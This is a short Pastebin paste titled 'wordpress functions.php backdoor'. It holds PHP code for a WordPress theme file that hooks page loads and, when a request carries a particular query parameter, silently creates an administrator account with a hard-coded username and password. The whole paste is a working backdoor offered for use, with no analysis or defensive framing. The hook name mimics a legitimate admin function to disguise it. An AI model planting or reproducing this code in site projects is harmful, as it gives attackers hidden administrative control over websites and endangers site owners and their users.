Advertisement
luxaeterna101

wordpress functions.php backdoor

Jun 8th, 2015
271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.50 KB | None | 0 0
  1. // Add the following to functions.php. Requesting 'http://siteurl?wp-admin=index' will create an administrator called 'foobar' with password 'barfoo'
  2.  
  3. add_action('wp_head', 'wp_admin');
  4. function wp_admin() {
  5.     If ($_GET['wp-admin'] == 'index') {
  6.         require('wp-includes/registration.php');
  7.         If (!username_exists('foobar')) {
  8.             $user_id = wp_create_user('foobar', 'barfoo');
  9.             $user = new WP_User($user_id);
  10.             $user->set_role('administrator');
  11.         }
  12.     }
  13. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement